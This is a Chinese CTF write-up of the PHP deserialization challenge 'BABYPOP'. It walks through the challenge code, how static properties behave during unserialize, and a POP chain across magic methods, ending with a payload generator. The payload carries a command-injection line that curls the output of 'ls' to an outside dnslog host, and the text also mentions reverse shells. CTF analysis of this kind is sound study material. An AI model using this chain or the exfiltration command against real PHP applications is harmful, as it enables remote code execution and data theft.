三叶草--BABYPOP

2021/10/28 23:09:36

本文主要是介绍三叶草--BABYPOP,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

题目:

<?php
class a {
    public static $Do_u_like_JiaRan = false;
    public static $Do_u_like_AFKL = false;
}

class b {
    private $i_want_2_listen_2_MaoZhongDu;
    public function __toString()
    {
        if (a::$Do_u_like_AFKL) {
            return exec($this->i_want_2_listen_2_MaoZhongDu);
        } else {
            throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
        }
    }
}

class c {
    public function __wakeup()
    {
        a::$Do_u_like_JiaRan = true;
    }
}

class d {
    public function __invoke()
    {
        a::$Do_u_like_AFKL = true;
        return "关注嘉然," . $this->value;
    }
}

class e {
    public function __destruct()
    {
        if (a::$Do_u_like_JiaRan) {
            ($this->afkl)();
        } else {
            throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
        }
    }
}

if (isset($_GET['data'])) {
    unserialize(base64_decode($_GET['data']));
} else {
    highlight_file(__FILE__);
}

分析:

经过简单的代码审计之后,我们能够得到flag的,只有通过类b的__toString()方法中的这行代码:

return exec($this->i_want_2_listen_2_MaoZhongDu);

(因为exec没有回显,所以我们可以通过反弹shell来得到东西,这里因为我没有公网IP所以就用

curl `执行的命令`.dnslog      来做示范。)

首先i_want_2_listen_2_MaoZhongDu是类b中的变量我们可控,所以exec中的参数我们就可控了,然后要进行exec(),就得使a::$Do_u_like_AFKL为true,然而我们可以看见类a中的两个变量都是flase,注意这两个变量都是静态变量,刚开始我以为静态变量我们可以在反序列化的时候控制,结果发现不行,原因如下:

示例:

1、

<?php
class a{
	public  static $x=false;
	public function monica(){
		if (!a::$x) {
            var_dump($this->x);
        } else {
            throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
        }
	}
}
$tt=new a();
$tt->monica();

变量x是静态的并刚开始为false。

结果:

我们可以发现a::$x的值为false,而$this->x为NULL

而当我们增加一个__construct()函数的时候:

<?php
class a{
	public  static $x=false;
	public function __construct(){
		$this->x=true;
	}
	public function monica(){
		if (!a::$x) {
            var_dump($this->x);
        } else {
            throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
        }
	}
}
$tt=new a();
$tt->monica();

结果只改变了$this->x的值:

2、

若我们构造一个序列化字符串:

<?php
class a{
	public  static $x=false;
	public function __construct(){
		$this->x=true;
	}
	
}
echo serialize(new a());

结果:O:1:"a":1:{s:1:"x";b:1;}

进行反序列化:

<?php
class a{
	public  static $x=false;
	public function monica(){
		if (!a::$x) {
            var_dump($this->x);
        } else {
            throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
        }
	}
}
$tt=unserialize('O:1:"a":1:{s:1:"x";b:1;}');
$tt->monica();

 结果还是只修改了$this->x的值:

说明使用__construct()修改静态变量的值只会修改$this->静态变量的值。而不会影响

类名::静态变量的值。

3、那么我们如何修改类名::静态变量的值呢?

<?php
class a{
	public  static $x=false;
	public function monica(){
		if (!a::$x) {
            var_dump($this->x);
        } else {
            throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
        }
	}
}

class b{
	public $x;
	public function __construct(){
		a::$x=true;
		$this->x=new a();
		$this->x->monica();
	}
}

$tt=new b();

 可以发现我们通过实例化b,通过b的__construct()方法将a::$x的值修改为了true、所以在使用$this->monica()方法的时候就进入了else语句。

通过上面的解释,我们知道了不能使用序列化字符串来覆盖类名::静态变量。

全局搜索Do_u_like_JiaRan,发现只有在类c的__wakeup方法中才能使 a::$Do_u_like_JiaRan = true;

知识点:

__wakeup() //将在反序列化之后立即调用

所以我们要序列化的对象一定是类c。

然后我们再回到分析类b的toString()方法

知识点:

__toString(): //当一个对象被当作字符串使用时触发,echo,return一个对象的时候

要想调用toString()方法就必须,找到能够输出类b的地方。最终在类d中发现:

class d {
    public function __invoke()
    {
        a::$Do_u_like_AFKL = true;
        return "关注嘉然," . $this->value;
    }
}

只有我们将$this->value赋值为类b的实例化对象即可。

但我们发现类d中并没有$value这个变量,但其实我们可以自己创建:

示例:

我们先构造一个序列化字符串

<?php
class d {
	public $a='monica';
}

echo serialize(new d());

结果:O:1:"d":1:{s:1:"a";s:6:"monica";}

测试页面:

<?php
class d {
	public function ds(){
		echo $this->a;
	}
}

如果我们之间输出一个类中没有的变量是不会输出东西的 

但是如果我们反序列化了呢?

 成功输入monica!

所以我们就能构造一个序列化字符串,里面的类d中有$value这个变量且他的值为new b()。同时类d的__invoke()方法中还使 a::$Do_u_like_AFKL = true;那么类b中if语句的问题我们也解决了。

其次,要想调用类d的__invoke()方法

知识点:

 __invoke() //当脚本尝试将对象调用为函数时触发

所以我们得找到一个函数执行点,且函数名可控;最终在类e中找到:

class e {
    public function __destruct()
    {
        if (a::$Do_u_like_JiaRan) {
            ($this->afkl)();
        } else {
            throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
        }
    }
}

因为我们在类c中使得a::$Do_u_like_JiaRan;所以只要在类e中使$afkl=new d()即可。

最后要将类c和类e连接起来;因为我们可以自己在类中构造变量,所以在类c中构造一个变量,使他的值为new e()即可。

最终的payload:

<?php

class b {
    private $i_want_2_listen_2_MaoZhongDu;
    public function __construct(){
        $this->i_want_2_listen_2_MaoZhongDu='curl `ls`.mpgq7s.dnslog.cn';
    }
    
}

class c {
    public $cvalue;
    public function __construct(){
        $this->cvalue=new e();
    }
    
}

class d {
    public $value;
    public function __construct(){
        $this->value=new b();
    }
   
}

class e {
    public $afkl;
    public function __construct(){
        $this->afkl=new d();
    }
    
}

$a=new c();
echo base64_encode(serialize($a));

结果:

 



这篇关于三叶草--BABYPOP的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!


扫一扫关注最新编程教程